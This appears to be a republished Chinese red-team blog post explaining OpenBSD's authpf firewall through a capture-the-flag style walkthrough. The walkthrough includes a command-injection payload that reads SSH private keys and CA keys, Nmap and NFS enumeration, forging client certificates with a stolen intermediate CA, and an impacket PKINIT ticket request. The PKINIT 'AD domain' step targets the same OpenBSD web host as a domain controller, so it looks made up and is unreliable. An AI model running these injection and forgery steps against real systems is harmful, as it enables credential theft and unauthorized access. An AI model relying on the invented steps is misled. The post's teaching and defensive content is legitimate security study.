Authpf(OpenBSD)认证防火墙到ssh连接到SSH端口转发技术栈 与渗透网络安全的关联 (RED Team Technique )

news2025/6/6 9:04:58

目录

🔍 1. Authpf概述与Shell设置的作用

什么是Authpf?

Shell设置为/usr/sbin/authpf的作用与含义

🛠️ 2. Authpf工作原理与防火墙绕过机制

技术栈

工作原理

防火墙绕过机制

Shell关联

🌐 3. Authpf与SSH认证及服务探测的关联

关联机制

渗透测试与红队流程

为何进行Nmap认证后扫描

🚀 4. 案例分析:SSH认证后端口开放原理

案例背景

为何SSH认证后可访问8081端口

多端口探测原理

🧩 5. 补充知识点

Authpf配置细节

渗透测试中的其他利用

Nmap扫描技术

📊 6. 完整案例:利用Authpf绕过防火墙

案例背景

完整步骤(补充原文不足)

🧠 7. Authpf与渗透测试/红队的技术水平

技术水平要求

红队应用

🛡️ 8. 防御措施

🔚 9. 总结


创作不易 点个赞吧! 哈哈哈 


🔍 1. Authpf概述与Shell设置的作用

什么是Authpf?

authpf是OpenBSD提供的一种认证防火墙工具,通过SSH认证动态修改pf(Packet Filter)防火墙规则,控制用户网络访问权限。其核心功能是:

  • 用户通过SSH登录,触发authpf加载特定pf规则,允许用户IP访问特定服务或端口。

  • 用户断开SSH会话后,规则自动移除,确保访问权限临时性。

Shell设置为/usr/sbin/authpf的作用与含义

  • 作用

    • 将用户的登录Shell设置为/usr/sbin/authpf(如案例中的nfsuser),意味着用户通过SSH登录时,不会获得传统交互式Shell(如/bin/sh),而是由authpf接管,执行防火墙规则修改。

    • 登录成功后,authpf根据用户身份加载预定义的pf规则(如/etc/authpf/users/nfsuser/authpf.rules),允许用户IP访问特定服务(如NFS、HTTP)。

    • 断开SSH后,authpf移除规则,关闭访问权限。

  • 含义

    • 提供细粒度的访问控制,基于用户身份而非固定IP,适合动态IP环境(如无线网络)。

    • 实现类似Captive Portal或VPN的认证机制,限制未认证用户访问网络资源。

  • 案例关联

    • /etc/passwd中,nfsuser:x:1002:1002::/home/nfsuser:/usr/sbin/authpf表明nfsuser使用authpf作为Shell,SSH登录将触发防火墙规则修改,开放特定端口(如8081)。


🛠️ 2. Authpf工作原理与防火墙绕过机制

技术栈

  • 工具authpf(认证Shell)、pf(OpenBSD防火墙)、OpenSSH(认证协议)、Nmap(端口扫描)。

  • 配置文件

    • /etc/authpf/authpf.conf:全局配置(可为空但必须存在)。

    • /etc/authpf/authpf.rules:默认规则,适用于无用户特定规则的情况。

    • /etc/authpf/users/<username>/authpf.rules:用户特定规则。

    • /etc/pf.conf:主防火墙规则,包含authpf锚点。

  • 协议:SSH(认证)、PF(规则管理)、TCP/UDP(网络流量)。

工作原理

  1. SSH认证

    1. 用户以authpf作为Shell(如nfsuser)通过SSH登录,系统调用/usr/sbin/authpf

    2. authpf验证用户身份,获取登录IP(如10.10.16.22)。

  2. 规则加载

    1. authpf读取用户特定规则(如/etc/authpf/users/nfsuser/authpf.rules)或默认规则(/etc/authpf/authpf.rules)。

    2. 规则通过pfctl加载到pf锚点(如authpf/nfsuser(PID)),允许用户IP访问特定服务(如8081端口)。

  3. 规则移除

    1. 用户断开SSH后,authpf移除锚点规则,恢复默认防火墙限制。

防火墙绕过机制

  • 默认限制pf默认阻止非必要流量(如案例中的block all策略)。

  • 动态开放:SSH认证后,authpf添加规则(如pass in quick on $wifi_if proto tcp from $user_ip to any port 8081),允许用户IP访问受限服务。

  • 渗透测试中的利用

    • 攻击者通过获取SSH凭据(如案例中的nfs.key)登录,触发authpf开放端口。

    • 使用Nmap扫描发现新开放端口(如8081),进一步利用服务漏洞。

Shell关联

  • authpf作为Shell接管用户登录,不提供交互式终端,而是执行防火墙规则管理。

  • SSH认证成功后,authpf基于用户身份和IP动态调整pf规则,控制网络访问。


🌐 3. Authpf与SSH认证及服务探测的关联

关联机制

  • SSH认证

    • 用户通过SSH登录(如ssh -i nfs.key nfsuser@10.129.2.232),authpf验证成功后加载规则,允许用户IP访问特定服务。

  • 服务探测

    • 认证前,Nmap扫描可能仅发现少量开放端口(如22/SSH)。

    • 认证后,authpf开放新端口(如8081),Nmap扫描可检测这些变化,揭示隐藏服务。

  • 案例中的关联

    • 登录nfsuser后,authpf加载规则,开放8081端口。

    • Nmap扫描(nmap -T4 -p- 10.129.2.232 -Pn)发现新端口,表明防火墙规则已动态修改。

渗透测试与红队流程

  1. 信息收集

    1. 使用Nmap进行初始扫描(nmap -T4 10.129.2.232),识别开放端口(如22)。

    2. 发现authpf用户(如nfsuser)通过/etc/passwd

  2. 凭据获取

    1. 通过命令注入(如db=;cat /home/bob/ca/intermediate/certs/nfs.key)获取SSH私钥。

  3. SSH登录

    1. 使用私钥登录(ssh -i nfs.key nfsuser@10.129.2.232),触发authpf规则加载。

  4. 端口扫描

    1. 再次运行Nmap(nmap -T4 -p- 10.129.2.232 -Pn),发现新端口(如8081、NFS、RPC)。

  5. 服务利用

    1. 访问8081端口(如http://10.129.2.232:8081),分析服务功能。

    2. 利用NFS服务(如mount -t nfs 10.129.2.232:/home/nfsuser /mnt)获取文件系统访问。

为何进行Nmap认证后扫描

  • 目的:验证authpf是否开放新端口,识别隐藏服务。

  • 原因

    • authpf基于认证动态修改防火墙规则,初始扫描可能无法发现受限服务。

    • 认证后扫描可揭示新开放端口(如8081、2049/NFS),为后续利用提供目标。

  • 红队意义

    • 发现隐藏服务(如管理接口、NFS共享)。

    • 结合漏洞(如NFS未启用root_squash),实现权限提升或横向移动。


🚀 4. 案例分析:SSH认证后端口开放原理

案例背景

  • 漏洞:命令注入(POST /select)获取CA文件和SSH私钥(nfs.key)。

  • 目标:通过authpf认证,开放端口(如8081),访问受限服务。

为何SSH认证后可访问8081端口

  • 原理

    • 默认状态下,pf防火墙阻止8081端口访问。

    • nfsuser的Shell为/usr/sbin/authpf,登录后触发规则加载(如pass in quick on $wifi_if proto tcp from $user_ip to any port 8081)。

    • 规则基于用户IP(10.10.16.22)开放8081端口。

  • 技术栈

    • OpenSSH:处理认证,验证nfs.key

    • authpf:加载用户特定规则(/etc/authpf/users/nfsuser/authpf.rules)。

    • pf:动态修改防火墙规则,允许TCP流量到8081。

  • 前后关联

    • 前置:通过命令注入获取nfs.keydb=;cat /home/bob/ca/intermediate/certs/nfs.key)。

    • 认证:SSH登录触发authpf规则加载。

    • 后置:Nmap扫描发现8081端口开放,浏览器访问http://10.129.2.232:8081确认服务。

多端口探测原理

  • Nmap扫描nmap -T4 -p- 10.129.2.232 -Pn):

    • -T4:加速扫描。

    • -p-:扫描全端口(1-65535)。

    • -Pn:跳过主机发现,直接扫描。

  • 结果:发现8081、2049(NFS)、111(RPC)等端口,表明authpf规则放通多个服务。

  • 原因authpf规则可能包含多端口放行(如pass in quick on $wifi_if proto tcp from $user_ip to any port { ssh, http, https, 8081, 2049 })。


🧩 5. 补充知识点

Authpf配置细节

  • /etc/authpf/authpf.allow:指定允许认证的用户(如nfsuser),*表示允许所有用户。

  • /etc/authpf/authpf.banned:禁止用户名单,优先级高于authpf.allow

  • /etc/authpf/authpf.message:自定义登录消息(如案例中的Hello nfsuser. You are authenticated from host "10.10.16.22")。

  • 锚点机制

    • 规则加载到authpf/<username>(PID)锚点,确保用户隔离。

    • 示例:nat-anchor "authpf/*", rdr-anchor "authpf/*", anchor "authpf/*"

渗透测试中的其他利用

  • SSH会话劫持

    • 攻击者可尝试劫持SSH会话,维持authpf规则有效。

    • 防御:配置/etc/ssh/sshd_config启用ClientAliveInterval 15ClientAliveCountMax 3,60秒内断开劫持会话。

  • NFS服务利用

    
    showmount -e 10.129.2.232 mount -t nfs 10.129.2.232:/home/nfsuser /mnt
    • 如果authpf开放2049端口,可挂载NFS共享:

    • 检查root_squash配置,若未启用,可提权。

  • RPC服务利用

    • 端口111(RPC)可能暴露rpcbind服务,使用rpcinfo -p 10.129.2.232枚举服务。

Nmap扫描技术

  • SYN扫描nmap -sS):快速,检测开放/关闭端口。

  • ACK扫描nmap -sA):识别防火墙过滤端口。

  • FIN/NULL/Xmas扫描nmap -sF/-sN/-sX):绕过简单防火墙,检测开放端口。

  • 案例关联:认证后使用全端口扫描(-p-)发现authpf开放的服务。


📊 6. 完整案例:利用Authpf绕过防火墙

案例背景

  • 目标:Web服务器(10.129.2.232)运行OpenBSD,存在命令注入漏洞(/select)和authpf认证机制。

  • 目标服务:8081端口(HTTP)、2049(NFS)、111(RPC)。

  • 前提:通过命令注入获取nfs.key和CA文件。

完整步骤(补充原文不足)

  1. 初始扫描

nmap -T4 10.129.2.232
  1. 命令注入获取凭据

 

db=;cat /home/bob/ca/intermediate/certs/nfs.key

  1. SSH登录

 

ssh -i nfs.key nfsuser@10.129.2.232

  1. 二次扫描

nmap -T4 -p- 10.129.2.232 -Pn
  1. 访问8081端口

    1. 浏览器访问http://10.129.2.232:8081,确认服务功能。

  2. NFS利用

showmount -e 10.129.2.232 mount -t nfs 10.129.2.232:/home/nfsuser /mnt

  1. 伪造客户端证书(结合原文):

    
    db=;cat /home/bob/ca/intermediate/certs/intermediate.cert.pem db=;cat /home/bob/ca/intermediate/private/intermediate.key.pem
    
    
    openssl genrsa -out client.key 2048 openssl req -new -key client.key -out client.csr openssl x509 -req -in client.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out client.pem -days 1024 -sha256 openssl pkcs12 -export -out client.pfx -inkey client.key -in client.pem -certfile intermediate.cert.pem
    1. 获取CA文件:

    2. 生成证书:

    3. 导入Firefox,访问https://fortune.htb/admin

  2. AD域利用

    impacket-getTGT -dc-ip 10.129.2.232 -cert-pfx client.pfx -pfx-pass password123 fortune.htb/client1
    1. 使用证书进行PKINIT攻击:


🧠 7. Authpf与渗透测试/红队的技术水平

技术水平要求

  • 初级

    • 理解SSH认证和Nmap扫描基础。

    • 执行命令注入,获取nfs.key

  • 中级

    • 熟悉authpf机制,分析防火墙规则。

    • 使用Nmap高级扫描(如FIN/NULL)绕过过滤。

  • 高级

    • 结合客户端证书伪造,访问mTLS服务。

    • 利用NFS或PKINIT进行权限提升和横向移动。

红队应用

  • 认证绕过:通过authpf开放端口,访问隐藏服务。

  • 持久化:维持SSH会话或伪造证书,确保长期访问。

  • 横向移动:利用NFS共享或AD域接口,扩展攻击面。


🛡️ 8. 防御措施

  • 限制SSH访问

    • 配置/etc/ssh/sshd_config限制AllowUsers nfsuser

    • 启用ClientAliveInterval防止会话劫持。

  • 保护CA文件

    • 限制/home/bob/ca/目录权限,防止命令注入泄露。

  • authpf配置

    • 使用authpf.banned禁止高危用户。

    • 限制规则放行端口,仅允许必要服务。

  • Nmap防御

    • 配置pf检测异常扫描(如block in quick proto tcp flags F/F)。

  • AD域防护

    • 禁用PKINIT或限制信任CA。

    • 监控异常TGT请求。


🔚 9. 总结

  • authpf是OpenBSD的强大认证防火墙工具,通过SSH认证动态修改pf规则,实现细粒度访问控制。在渗透测试中,攻击者可利用命令注入获取SSH凭据,触发authpf开放端口(如8081、NFS),结合Nmap扫描发现隐藏服务,进一步利用客户端证书伪造访问mTLS保护的AD域资源。
  • 本文章展示了从漏洞发现到权限提升的完整流程,强调了技术栈的深度和逻辑关联。防御需从SSH配置、CA保护和防火墙规则优化入手。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2401475.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

组合与排列

组合与排列主要有两个区别&#xff0c;区别在于是否按次序排列和符号表示不同。 全排列&#xff1a; 从n个不同元素中任取m&#xff08;m≤n&#xff09;个元素&#xff0c;按照一定的顺序排列起来&#xff0c;叫做从n个不同元素中取出m个元素的一个排列。当mn时所有的排列情况…

Apache Druid

目录 Apache Druid是什么&#xff1f; CVE-2021-25646(Apache Druid代码执行漏洞) Apache Druid是什么&#xff1f; Apache Druid是一个高性能、分布式的数据存储和分析系统。设计用于处理大量实时数据&#xff0c;并进行低延迟的查询。它特别适合用于分析大规模日志、事件数据…

使用深蓝词库软件导入自定义的词库到微软拼音输入法

我这有一个人员名单&#xff0c;把它看作一个词库&#xff0c;下面我演示一下如何把这个词库导入微软输入法 首先建一个text文件&#xff0c;一行写一个词条 下载深蓝词库 按照我这个配置&#xff0c;点击转换&#xff0c;然后在桌面微软输入法那右键&#xff0c;选择设置 点…

使用Node.js分片上传大文件到阿里云OSS

阿里云OSS的分片上传&#xff08;Multipart Upload&#xff09;是一种针对大文件优化的上传方式&#xff0c;其核心流程和关键特性如下&#xff1a; 1. ‌核心流程‌ 分片上传分为三个步骤&#xff1a; 初始化任务‌&#xff1a;调用InitiateMultipartUpload接口创建上传任务…

复变函数中的对数函数及其MATLAB演示

复变函数中的对数函数及其MATLAB演示 引言 在实变函数中&#xff0c;对数函数 ln ⁡ x \ln x lnx定义在正实数集上&#xff0c;是一个相对简单的概念。然而&#xff0c;当我们进入复变函数领域时&#xff0c;对数函数展现出更加丰富和复杂的性质。本文将介绍复变函数中对数函…

【Linux】Linux程序地址基础

参考博客&#xff1a;https://blog.csdn.net/sjsjnsjnn/article/details/125533127 一、地址空间的阐述 1.1 程序地址空间 下面的图片展示了程序地址空间的组成结构 我们通过代码来验证一下 int g_unval; int g_val 100;int main(int argc, char *argv[]);void test1() {i…

将图形可视化工具的 Python 脚本打包为 Windows 应用程序

前文我们已经写了一个基于python的tkinter库和matplotlib库的图形可视化工具。 基于Python的tkinter库的图形可视化工具&#xff08;15种图形的完整代码&#xff09;:基于Python的tkinter库的图形可视化工具&#xff08;15种图形的完整代码&#xff09;-CSDN博客 在前文基础上&…

无人机军用与民用技术对比分析

一、材料区别 军用无人机&#xff1a; 1. 高强度特种材料&#xff1a; 大量使用钛合金、碳纤维复合材料&#xff0c;兼顾轻量化与高强度&#xff0c;提升抗冲击性和隐身性能。 关键部件依赖进口材料。 2. 隐身涂层&#xff1a; 采用雷达吸波材料和低红外特征涂料&#xf…

刷leetcode hot100--矩阵6/1

1.螺旋矩阵【很久】6/1【感觉就是思路的搬运工&#xff0c;没完全理解】 54. 螺旋矩阵 - 力扣&#xff08;LeetCode&#xff09; 原来想 但是如果是奇数矩阵&#xff0c;遍历不到中间 解决思路&#xff1a; 用left,right,top,down标记/限定每次遍历的元素&#xff0c;每次从…

Docker轻松搭建Neo4j+APOC环境

Docker轻松搭建Neo4jAPOC环境 一、简介二、Docker部署neo4j三、Docker安装APOC插件四、删除数据库/切换数据库 一、简介 Neo4j 是一款高性能的 原生图数据库&#xff0c;采用 属性图模型 存储数据&#xff0c;支持 Cypher查询语言&#xff0c;适用于复杂关系数据的存储和分析。…

定制开发开源AI智能名片S2B2C商城小程序在无界零售中的应用与行业智能升级示范研究

摘要&#xff1a;本文聚焦无界零售背景下京东从零售产品提供者向零售基础设施提供者的转变&#xff0c;探讨定制开发开源AI智能名片S2B2C商城小程序在这一转变中的应用。通过分析该小程序在商业运营成本降低、效率提升、用户体验优化等方面的作用&#xff0c;以及其与京东AI和冯…

【大模型:知识图谱】--5.neo4j数据库管理(cypher语法2)

目录 1.节点语法 1.1.CREATE--创建节点 1.2.MATCH--查询节点 1.3.RETURN--返回节点 1.4.WHERE--过滤节点 2.关系语法 2.1.创建关系 2.2.查询关系 3.删除语法 3.1.DELETE 删除 3.2.REMOVE 删除 4.功能补充 4.1.SET &#xff08;添加属性&#xff09; 4.2.NULL 值 …

贪心算法应用:装箱问题(BFD算法)详解

贪心算法应用&#xff1a;装箱问题(BFD算法)详解 1. 装箱问题与BFD算法概述 1.1 装箱问题定义 装箱问题(Bin Packing Problem)是组合优化中的经典问题&#xff0c;其定义为&#xff1a; 给定n个物品&#xff0c;每个物品有大小wᵢ (0 < wᵢ ≤ C)无限数量的箱子&#xf…

编程技能:格式化打印05,格式控制符

专栏导航 本节文章分别属于《Win32 学习笔记》和《MFC 学习笔记》两个专栏&#xff0c;故划分为两个专栏导航。读者可以自行选择前往哪个专栏。 &#xff08;一&#xff09;WIn32 专栏导航 上一篇&#xff1a;编程技能&#xff1a;格式化打印04&#xff0c;sprintf 回到目录…

MPLAB X IDE ​软件安装与卸载

1、下载MPLAB X IDE V6.25 MPLAB X IDE | Microchip Technology 正常选Windows&#xff0c;点击Download&#xff0c;等待自动下载完成&#xff1b; MPLAB X IDE 一台电脑上可以安装多个版本&#xff1b; 2、安装MPLAB X IDE V6.25 右键以管理员运行&#xff1b;next; 勾选 I a…

windows编程实现文件拷贝

项目源码链接&#xff1a; 实现文件拷贝功能&#xff08;限制5GB大小&#xff09; 81c57de 周不才/cpp_linux study - Gitee.com 知识准备&#xff1a; 1.句柄 句柄是一个用于标识和引用系统资源&#xff08;如文件、窗口、进程、线程、位图等&#xff09;的值。它不是资…

[6-01-01].第12节:字节码文件内容 - 属性表集合

JVM学习大纲 二、属性表集合&#xff1a; 2.1.属性计数器&#xff1a; 2.2.属性表&#xff1a; 2.3.字节码文件组成5 -> 属性&#xff1a; 1.属性主要指的是类的属性&#xff0c;比如源码的文件名、内部类的列表等 2.4.字节码文件组成3 -> 字段&#xff1a; 1.字段中…

基于机器学习的水量智能调度研究

摘要&#xff1a;随着城市化进程的加速和水资源供需矛盾的日益突出&#xff0c;传统的水量调度模式因缺乏精准预测和动态调控能力&#xff0c;难以满足现代供水系统对高效性、稳定性和节能性的要求。本文针对供水系统中用水峰谷预测不准确、能耗高、供需失衡等核心问题&#xf…

深入浅出 Scrapy:打造高效、强大的 Python 网络爬虫

在数据为王的时代,高效获取网络信息是开发者必备的技能。今天我将为大家介绍 Python 爬虫领域的王者框架——Scrapy。无论你是数据工程师、分析师还是开发者,掌握 Scrapy 都能让你的数据采集效率提升数倍! 项目地址:https://github.com/scrapy/scrapy 官方文档:https://do…

贪心算法应用:带权任务间隔调度问题详解

贪心算法应用&#xff1a;带权任务间隔调度问题详解 贪心算法是一种在每一步选择中都采取在当前状态下最好或最优&#xff08;即最有利&#xff09;的选择&#xff0c;从而希望导致结果是全局最好或最优的算法。带权任务间隔调度问题是贪心算法的一个经典应用场景。 问题定义…